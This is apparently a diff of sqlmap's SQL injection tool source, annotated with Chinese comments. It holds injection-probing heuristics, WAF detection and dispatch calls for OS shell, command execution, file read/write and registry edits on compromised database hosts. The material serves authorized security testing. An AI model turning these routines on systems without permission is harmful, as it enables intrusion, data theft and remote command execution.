if conf.sqlShell: # 如果需要进入 SQL shell if conf.sqlShell:
conf.dbmsHandler.sqlShell() # 进入 SQL shell conf.dbmsHandler.sqlShell()
if conf.sqlFile: # 如果需要从文件读取 SQL 查询语句 if conf.sqlFile:
conf.dbmsHandler.sqlFile() # 从文件读取 SQL 查询语句并执行 conf.dbmsHandler.sqlFile()
# 用户定义函数选项 # User-defined function options
if conf.udfInject: # 如果需要注入用户定义函数 if conf.udfInject:
conf.dbmsHandler.udfInjectCustom() # 注入用户定义函数 conf.dbmsHandler.udfInjectCustom()
# 文件系统选项 # File system options
if conf.fileRead: # 如果需要读取文件 if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead)) # 打印读取的文件内容 conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.fileWrite: # 如果需要写入文件 if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType) # 写入文件 conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
if conf.commonFiles: # 如果需要读取一些常见的文件 if conf.commonFiles:
try: try:
conf.dumper.rFile(fileExists(paths.COMMON_FILES)) # 打印读取的常见文件内容 conf.dumper.rFile(fileExists(paths.COMMON_FILES))
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
# 操作系统选项 # Operating system options
if conf.osCmd: # 如果需要执行操作系统命令 if conf.osCmd:
conf.dbmsHandler.osCmd() # 执行操作系统命令 conf.dbmsHandler.osCmd()
if conf.osShell: # 如果需要进入操作系统 shell if conf.osShell:
conf.dbmsHandler.osShell() # 进入操作系统 shell conf.dbmsHandler.osShell()
if conf.osPwn: # 如果需要利用操作系统漏洞 if conf.osPwn:
conf.dbmsHandler.osPwn() # 利用操作系统漏洞 conf.dbmsHandler.osPwn()
if conf.osSmb: # 如果需要利用 SMB 协议 if conf.osSmb:
conf.dbmsHandler.osSmb() # 利用 SMB 协议 conf.dbmsHandler.osSmb()
if conf.osBof: # 如果需要利用缓冲区溢出漏洞 if conf.osBof:
conf.dbmsHandler.osBof() # 利用缓冲区溢出漏洞 conf.dbmsHandler.osBof()
# Windows 注册表选项 # Windows registry options
if conf.regRead: # 如果需要读取注册表值 if conf.regRead:
conf.dumper.registerValue(conf.dbmsHandler.regRead()) # 打印读取的注册表值 conf.dumper.registerValue(conf.dbmsHandler.regRead())
if conf.regAdd: # 如果需要添加注册表值 if conf.regAdd:
conf.dbmsHandler.regAdd() # 添加注册表值 conf.dbmsHandler.regAdd()
if conf.regDel: # 如果需要删除注册表值 if conf.regDel:
conf.dbmsHandler.regDel() # 删除注册表值 conf.dbmsHandler.regDel()
# 其他选项 # Miscellaneous options
if conf.cleanup: # 如果需要清理数据库中的数据 if conf.cleanup:
conf.dbmsHandler.cleanup() # 清理数据库中的数据 conf.dbmsHandler.cleanup()
if conf.direct: # 如果使用直接连接模式 if conf.direct:
conf.dbmsConnector.close() # 关闭数据库连接 conf.dbmsConnector.close()

@ -913,7 +913,6 @@ def checkFalsePositives(injection):
retVal = True retVal = True
# 如果注入数据中所有元素都在PAYLOAD.TECHNIQUE.BOOLEAN、PAYLOAD.TECHNIQUE.TIME、PAYLOAD.TECHNIQUE.STACKED中或者注入数据长度为1且PAYLOAD.TECHNIQUE.UNION在注入数据中且"Generic"在注入数据[PAYLOAD.TECHNIQUE.UNION].title中
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
pushValue(kb.injection) pushValue(kb.injection)
@ -921,13 +920,11 @@ def checkFalsePositives(injection):
infoMsg += "parameter '%s' is a false positive" % injection.parameter infoMsg += "parameter '%s' is a false positive" % injection.parameter
logger.info(infoMsg) logger.info(infoMsg)
# 定义一个函数,返回一个随机整数
def _(): def _():
return int(randomInt(2)) + 1 return int(randomInt(2)) + 1
kb.injection = injection kb.injection = injection
# 遍历配置级别
for level in xrange(conf.level): for level in xrange(conf.level):
while True: while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1, randInt2, randInt3 = (_() for j in xrange(3))
@ -935,48 +932,38 @@ def checkFalsePositives(injection):
randInt1 = min(randInt1, randInt2, randInt3) randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3)
# 如果配置字符串存在且配置字符串在任意一个Unicode(_)中
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue continue
# 如果配置非字符串存在且配置非字符串在任意一个Unicode(_)中
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)): if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue continue
# 如果randInt3 > randInt2 > randInt1则跳出循环
if randInt3 > randInt2 > randInt1: if randInt3 > randInt2 > randInt1:
break break
# 如果不满足布尔表达式则retVal为False跳出循环
if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)): if not checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt1)):
retVal = False retVal = False
break break
# 如果PAYLOAD.TECHNIQUE.BOOLEAN不在注入数据中则检查布尔表达式
if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data:
checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt2)) # just in case if DBMS hasn't properly recovered from previous delayed request
# 如果满足布尔表达式则retVal为False跳出循环
if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True if checkBooleanExpression("%d%s%d" % (randInt1, INFERENCE_EQUALS_CHAR, randInt3)): # this must not be evaluated to True
retVal = False retVal = False
break break
# 如果满足布尔表达式则retVal为False跳出循环
elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True elif checkBooleanExpression("%d%s%d" % (randInt3, INFERENCE_EQUALS_CHAR, randInt2)): # this must not be evaluated to True
retVal = False retVal = False
break break
# 如果不满足布尔表达式则retVal为False跳出循环
elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True elif not checkBooleanExpression("%d%s%d" % (randInt2, INFERENCE_EQUALS_CHAR, randInt2)): # this must be evaluated to True
retVal = False retVal = False
break break
# 如果满足布尔表达式则retVal为False跳出循环
elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement)
retVal = False retVal = False
break break
# 如果retVal为False则记录警告信息
if not retVal: if not retVal:
warnMsg = "false positive or unexploitable injection point detected" warnMsg = "false positive or unexploitable injection point detected"
logger.warning(warnMsg) logger.warning(warnMsg)
@ -991,28 +978,22 @@ def checkSuhosinPatch(injection):
Checks for existence of Suhosin-patch (and alike) protection mechanism(s) Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
""" """
# 如果注入点在GET或URI中
if injection.place in (PLACE.GET, PLACE.URI): if injection.place in (PLACE.GET, PLACE.URI):
debugMsg = "checking for parameter length " debugMsg = "checking for parameter length "
debugMsg += "constraining mechanisms" debugMsg += "constraining mechanisms"
logger.debug(debugMsg) logger.debug(debugMsg)
# 将当前的注入点保存到栈中
pushValue(kb.injection) pushValue(kb.injection)
# 设置当前的注入点
kb.injection = injection kb.injection = injection
# 生成一个随机数
randInt = randomInt() randInt = randomInt()
# 检查参数长度是否被限制
if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)):
warnMsg = "parameter length constraining " warnMsg = "parameter length constraining "
warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "mechanism detected (e.g. Suhosin patch). "
warnMsg += "Potential problems in enumeration phase can be expected" warnMsg += "Potential problems in enumeration phase can be expected"
logger.warning(warnMsg) logger.warning(warnMsg)
# 恢复之前的注入点
kb.injection = popValue() kb.injection = popValue()
@stackedmethod @stackedmethod
@ -1020,12 +1001,9 @@ def checkFilteredChars(injection):
debugMsg = "checking for filtered characters" debugMsg = "checking for filtered characters"
logger.debug(debugMsg) logger.debug(debugMsg)
# 将当前的注入点保存到栈中
pushValue(kb.injection) pushValue(kb.injection)
# 设置当前的注入点
kb.injection = injection kb.injection = injection
# 生成一个随机数
randInt = randomInt() randInt = randomInt()
# all other techniques are already using parentheses in tests # all other techniques are already using parentheses in tests
@ -1047,23 +1025,17 @@ def checkFilteredChars(injection):
kb.injection = popValue() kb.injection = popValue()
# 定义一个函数用于检查SQL注入
def heuristicCheckSqlInjection(place, parameter): def heuristicCheckSqlInjection(place, parameter):
# 如果配置文件中设置了跳过启发式测试则返回None
if conf.skipHeuristics: if conf.skipHeuristics:
return None return None
# 获取原始值
origValue = conf.paramDict[place][parameter] origValue = conf.paramDict[place][parameter]
# 获取参数类型
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
# 定义前缀、后缀和随机字符串
prefix = "" prefix = ""
suffix = "" suffix = ""
randStr = "" randStr = ""
# 如果配置文件中设置了前缀或后缀,则获取前缀和后缀
if conf.prefix or conf.suffix: if conf.prefix or conf.suffix:
if conf.prefix: if conf.prefix:
prefix = conf.prefix prefix = conf.prefix
@ -1071,82 +1043,52 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.suffix: if conf.suffix:
suffix = conf.suffix suffix = conf.suffix
# 生成一个包含一个单引号和一个双引号的随机字符串
while randStr.count('\'') != 1 or randStr.count('\"') != 1: while randStr.count('\'') != 1 or randStr.count('\"') != 1:
randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
# 设置启发式模式为True
kb.heuristicMode = True kb.heuristicMode = True
# 构造payload
payload = "%s%s%s" % (prefix, randStr, suffix) payload = "%s%s%s" % (prefix, randStr, suffix)
# 使用agent.payload方法构造payload
payload = agent.payload(place, parameter, newValue=payload) payload = agent.payload(place, parameter, newValue=payload)
# 发送请求并获取页面和响应码
page, _, code = Request.queryPage(payload, place, content=True, raise404=False) page, _, code = Request.queryPage(payload, place, content=True, raise404=False)
# 将页面和响应码保存到kb中
kb.heuristicPage = page kb.heuristicPage = page
kb.heuristicCode = code kb.heuristicCode = code
# 设置启发式模式为False
kb.heuristicMode = False kb.heuristicMode = False
# 解析页面中的文件路径
parseFilePaths(page) parseFilePaths(page)
# 判断是否是数据库错误
result = wasLastResponseDBMSError() result = wasLastResponseDBMSError()
# 构造提示信息
infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (basic) test shows that %sparameter '%s' might " % ("%s " % paramType if paramType != parameter else "", parameter)
# 判断page中是否包含FORMAT_EXCEPTION_STRINGS中的任意一个字符串
def _(page): def _(page):
return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS)
# 判断page中是否包含FORMAT_EXCEPTION_STRINGS中的任意一个字符串且kb.originalPage中不包含
casting = _(page) and not _(kb.originalPage) casting = _(page) and not _(kb.originalPage)
# 如果没有进行类型转换且result为空kb.dynamicParameter为真origValue为数字且kb.heavilyDynamic为假
if not casting and not result and kb.dynamicParameter and origValue.isdigit() and not kb.heavilyDynamic: if not casting and not result and kb.dynamicParameter and origValue.isdigit() and not kb.heavilyDynamic:
# 生成一个随机整数
randInt = int(randomInt()) randInt = int(randomInt())
# 生成payload
payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix) payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix)
# 使用agent.payload生成payload
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
# 使用Request.queryPage查询页面
result = Request.queryPage(payload, place, raise404=False) result = Request.queryPage(payload, place, raise404=False)
# 如果result为空
if not result: if not result:
# 生成一个随机字符串
randStr = randomStr() randStr = randomStr()
# 生成payload
payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix) payload = "%s%s%s" % (prefix, "%s.%d%s" % (origValue, random.randint(1, 9), randStr), suffix)
# 使用agent.payload生成payload
payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE)
# 使用Request.queryPage查询页面
casting = Request.queryPage(payload, place, raise404=False) casting = Request.queryPage(payload, place, raise404=False)
# 根据casting和result的值设置kb.heuristicTest的值
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
# 如果kb.heavilyDynamic为真
if kb.heavilyDynamic: if kb.heavilyDynamic:
# 输出debug信息
debugMsg = "heuristic check stopped because of heavy dynamicity" debugMsg = "heuristic check stopped because of heavy dynamicity"
logger.debug(debugMsg) logger.debug(debugMsg)
# 返回kb.heuristicTest的值
return kb.heuristicTest return kb.heuristicTest
# 如果casting为真
if casting: if casting:
# 输出错误信息
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type") errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
# 获取url的后缀
platform = conf.url.split('.')[-1].lower() platform = conf.url.split('.')[-1].lower()
# 根据后缀,输出不同的错误信息
if platform == WEB_PLATFORM.ASP: if platform == WEB_PLATFORM.ASP:
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter) errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
elif platform == WEB_PLATFORM.ASPX: elif platform == WEB_PLATFORM.ASPX:
@ -1159,68 +1101,45 @@ def heuristicCheckSqlInjection(place, parameter):
errMsg += "') at the back-end web application" errMsg += "') at the back-end web application"
logger.error(errMsg) logger.error(errMsg)
# 如果kb.ignoreCasted为空
if kb.ignoreCasted is None: if kb.ignoreCasted is None:
# 输出提示信息
message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]")
# 读取用户输入设置kb.ignoreCasted的值
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
# 如果result为真
elif result: elif result:
# 输出信息
infoMsg += "be injectable" infoMsg += "be injectable"
# 如果Backend.getErrorParsedDBMSes()不为空
if Backend.getErrorParsedDBMSes(): if Backend.getErrorParsedDBMSes():
# 输出信息
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
logger.info(infoMsg) logger.info(infoMsg)
# 如果以上条件都不满足
else: else:
# 输出警告信息
infoMsg += "not be injectable" infoMsg += "not be injectable"
logger.warning(infoMsg) logger.warning(infoMsg)
# 设置kb.heuristicMode为真
kb.heuristicMode = True kb.heuristicMode = True
# 设置kb.disableHtmlDecoding为真
kb.disableHtmlDecoding = True kb.disableHtmlDecoding = True
# 生成两个随机字符串
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
# 生成value
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
# 生成payload
payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
# 使用agent.payload生成payload
payload = agent.payload(place, parameter, newValue=payload) payload = agent.payload(place, parameter, newValue=payload)
# 使用Request.queryPage查询页面
page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
# 获取paramType
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
# Reference: https://bugs.python.org/issue18183
if value.upper() in (page or "").upper(): if value.upper() in (page or "").upper():
# 如果value的大写字母在page的大写字母中则执行以下代码
infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (XSS) test shows that %sparameter '%s' might be vulnerable to cross-site scripting (XSS) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
# 输出信息表示参数可能存在XSS攻击
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep: if conf.beep:
# 如果配置文件中设置了beep则执行beep函数
beep() beep()
for match in re.finditer(FI_ERROR_REGEX, page or ""): for match in re.finditer(FI_ERROR_REGEX, page or ""):
# 在page中查找FI_ERROR_REGEX如果找到则执行以下代码
if randStr1.lower() in match.group(0).lower(): if randStr1.lower() in match.group(0).lower():
# 如果randStr1的小写字母在match.group(0)的小写字母中,则执行以下代码
infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "heuristic (FI) test shows that %sparameter '%s' might be vulnerable to file inclusion (FI) attacks" % ("%s " % paramType if paramType != parameter else "", parameter)
# 输出信息表示参数可能存在FI攻击
logger.info(infoMsg) logger.info(infoMsg)
if conf.beep: if conf.beep:
# 如果配置文件中设置了beep则执行beep函数
beep() beep()
break break
@ -1238,7 +1157,6 @@ def checkDynParam(place, parameter, value):
""" """
if kb.choices.redirect: if kb.choices.redirect:
# 如果kb.choices.redirect为True则返回None
return None return None
kb.matchRatio = None kb.matchRatio = None
@ -1248,14 +1166,11 @@ def checkDynParam(place, parameter, value):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter) infoMsg = "testing if %sparameter '%s' is dynamic" % ("%s " % paramType if paramType != parameter else "", parameter)
# 输出信息,表示正在测试参数是否动态
logger.info(infoMsg) logger.info(infoMsg)
try: try:
payload = agent.payload(place, parameter, value, getUnicode(randInt)) payload = agent.payload(place, parameter, value, getUnicode(randInt))
# 生成payload
dynResult = Request.queryPage(payload, place, raise404=False) dynResult = Request.queryPage(payload, place, raise404=False)
# 发送payload获取结果
except SqlmapConnectionException: except SqlmapConnectionException:
pass pass
@ -1269,51 +1184,40 @@ def checkDynamicContent(firstPage, secondPage):
This function checks for the dynamic content in the provided pages This function checks for the dynamic content in the provided pages
""" """
# 如果没有网络连接,则跳过动态内容检查
if kb.nullConnection: if kb.nullConnection:
debugMsg = "dynamic content checking skipped " debugMsg = "dynamic content checking skipped "
debugMsg += "because NULL connection used" debugMsg += "because NULL connection used"
logger.debug(debugMsg) logger.debug(debugMsg)
return return
# 如果没有提供页面内容,则无法检查动态内容
if any(page is None for page in (firstPage, secondPage)): if any(page is None for page in (firstPage, secondPage)):
warnMsg = "can't check dynamic content " warnMsg = "can't check dynamic content "
warnMsg += "because of lack of page content" warnMsg += "because of lack of page content"
logger.critical(warnMsg) logger.critical(warnMsg)
return return
# 如果提供了页面内容,并且页面内容长度超过最大长度,则无法计算相似度
if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)): if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)):
ratio = None ratio = None
else: else:
try: try:
# 获取当前线程的数据
seqMatcher = getCurrentThreadData().seqMatcher seqMatcher = getCurrentThreadData().seqMatcher
# 设置第一个序列
seqMatcher.set_seq1(firstPage) seqMatcher.set_seq1(firstPage)
# 设置第二个序列
seqMatcher.set_seq2(secondPage) seqMatcher.set_seq2(secondPage)
# 计算相似度
ratio = seqMatcher.quick_ratio() ratio = seqMatcher.quick_ratio()
except MemoryError: except MemoryError:
ratio = None ratio = None
# 如果无法计算相似度,则跳过动态内容检查
if ratio is None: if ratio is None:
kb.skipSeqMatcher = True kb.skipSeqMatcher = True
# In case of an intolerable difference turn on dynamicity removal engine # In case of an intolerable difference turn on dynamicity removal engine
elif ratio <= UPPER_RATIO_BOUND: elif ratio <= UPPER_RATIO_BOUND:
# 如果比率小于等于上限比率则调用findDynamicContent函数
findDynamicContent(firstPage, secondPage) findDynamicContent(firstPage, secondPage)
count = 0 count = 0
# 当Request.queryPage()返回False时循环执行
while not Request.queryPage(): while not Request.queryPage():
count += 1 count += 1
# 如果重试次数超过配置的最大重试次数则输出警告信息并将textOnly设置为True
if count > conf.retries: if count > conf.retries:
warnMsg = "target URL content appears to be too dynamic. " warnMsg = "target URL content appears to be too dynamic. "
warnMsg += "Switching to '--text-only' " warnMsg += "Switching to '--text-only' "
@ -1322,14 +1226,12 @@ def checkDynamicContent(firstPage, secondPage):
conf.textOnly = True conf.textOnly = True
return return
# 输出警告信息表示目标URL内容过于动态sqlmap将重试请求
warnMsg = "target URL content appears to be heavily dynamic. " warnMsg = "target URL content appears to be heavily dynamic. "
warnMsg += "sqlmap is going to retry the request(s)" warnMsg += "sqlmap is going to retry the request(s)"
singleTimeLogMessage(warnMsg, logging.CRITICAL) singleTimeLogMessage(warnMsg, logging.CRITICAL)
kb.heavilyDynamic = True kb.heavilyDynamic = True
# 重新查询页面内容
secondPage, _, _ = Request.queryPage(content=True) secondPage, _, _ = Request.queryPage(content=True)
findDynamicContent(firstPage, secondPage) findDynamicContent(firstPage, secondPage)
@ -1347,22 +1249,17 @@ def checkStability():
infoMsg = "testing if the target URL content is stable" infoMsg = "testing if the target URL content is stable"
logger.info(infoMsg) logger.info(infoMsg)
# 获取原始页面内容
firstPage = kb.originalPage # set inside checkConnection() firstPage = kb.originalPage # set inside checkConnection()
# 计算延迟时间
delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0)) delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0))
delay = max(0, min(MAX_STABILITY_DELAY, delay)) delay = max(0, min(MAX_STABILITY_DELAY, delay))
time.sleep(delay) time.sleep(delay)
# 重新查询页面内容
secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
# 如果存在重定向则返回None
if kb.choices.redirect: if kb.choices.redirect:
return None return None
# 比较两个页面内容是否相同
kb.pageStable = (firstPage == secondPage) kb.pageStable = (firstPage == secondPage)
if kb.pageStable: if kb.pageStable:
@ -1384,7 +1281,6 @@ def checkStability():
warnMsg += "'Page comparison'" warnMsg += "'Page comparison'"
logger.warning(warnMsg) logger.warning(warnMsg)
# 提示用户如何继续
message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
choice = readInput(message, default='C').upper() choice = readInput(message, default='C').upper()
@ -1392,7 +1288,6 @@ def checkStability():
raise SqlmapUserQuitException raise SqlmapUserQuitException
elif choice == 'S': elif choice == 'S':
# 如果用户选择字符串匹配则调用showStaticWords函数
showStaticWords(firstPage, secondPage) showStaticWords(firstPage, secondPage)
message = "please enter value for parameter 'string': " message = "please enter value for parameter 'string': "
@ -1412,7 +1307,6 @@ def checkStability():
raise SqlmapNoneDataException(errMsg) raise SqlmapNoneDataException(errMsg)
elif choice == 'R': elif choice == 'R':
# 如果用户选择正则表达式匹配,则提示用户输入正则表达式
message = "please enter value for parameter 'regex': " message = "please enter value for parameter 'regex': "
regex = readInput(message) regex = readInput(message)
@ -1430,7 +1324,6 @@ def checkStability():
raise SqlmapNoneDataException(errMsg) raise SqlmapNoneDataException(errMsg)
else: else:
# 如果用户选择继续则调用checkDynamicContent函数
checkDynamicContent(firstPage, secondPage) checkDynamicContent(firstPage, secondPage)
return kb.pageStable return kb.pageStable
@ -1441,15 +1334,12 @@ def checkWaf():
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
""" """
# 如果配置中存在字符串匹配、不匹配、正则表达式匹配、假数据、离线模式或跳过WAF检测则返回None
if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)):
return None return None
# 如果原始HTTP状态码为404则返回None
if kb.originalCode == _http_client.NOT_FOUND: if kb.originalCode == _http_client.NOT_FOUND:
return None return None
# 从哈希数据库中获取WAF检测结果
_ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True)
if _ is not None: if _ is not None:
if _: if _:
@ -1458,7 +1348,6 @@ def checkWaf():
logger.critical(warnMsg) logger.critical(warnMsg)
return _ return _
# 如果原始页面内容为空则返回None
if not kb.originalPage: if not kb.originalPage:
return None return None
@ -1467,44 +1356,36 @@ def checkWaf():
logger.info(infoMsg) logger.info(infoMsg)
retVal = False retVal = False
# 生成随机payload
payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD) payload = "%d %s" % (randomInt(), IPS_WAF_CHECK_PAYLOAD)
place = PLACE.GET place = PLACE.GET
# 如果URI参数存在则将payload添加到URI参数中
if PLACE.URI in conf.parameters: if PLACE.URI in conf.parameters:
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
else: else:
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
# 保存当前状态
pushValue(kb.choices.redirect) pushValue(kb.choices.redirect)
pushValue(kb.resendPostOnRedirect) pushValue(kb.resendPostOnRedirect)
pushValue(conf.timeout) pushValue(conf.timeout)
# 设置重定向为True重发POST请求为False超时时间为IPS_WAF_CHECK_TIMEOUT
kb.choices.redirect = REDIRECTION.YES kb.choices.redirect = REDIRECTION.YES
kb.resendPostOnRedirect = False kb.resendPostOnRedirect = False
conf.timeout = IPS_WAF_CHECK_TIMEOUT conf.timeout = IPS_WAF_CHECK_TIMEOUT
try: try:
# 查询页面内容,并比较比率
retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
except SqlmapConnectionException: except SqlmapConnectionException:
retVal = True retVal = True
finally: finally:
kb.matchRatio = None kb.matchRatio = None
# 恢复之前的状态
conf.timeout = popValue() conf.timeout = popValue()
kb.resendPostOnRedirect = popValue() kb.resendPostOnRedirect = popValue()
kb.choices.redirect = popValue() kb.choices.redirect = popValue()
# 将WAF检测结果写入哈希数据库
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True) hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
# 如果检测到WAF则输出警告信息并提示用户是否继续
if retVal: if retVal:
if not kb.identifiedWafs: if not kb.identifiedWafs:
warnMsg = "heuristics detected that the target " warnMsg = "heuristics detected that the target "
@ -1530,11 +1411,9 @@ def checkNullConnection():
Reference: http://www.wisec.it/sectou.php?id=472f952d79293 Reference: http://www.wisec.it/sectou.php?id=472f952d79293
""" """
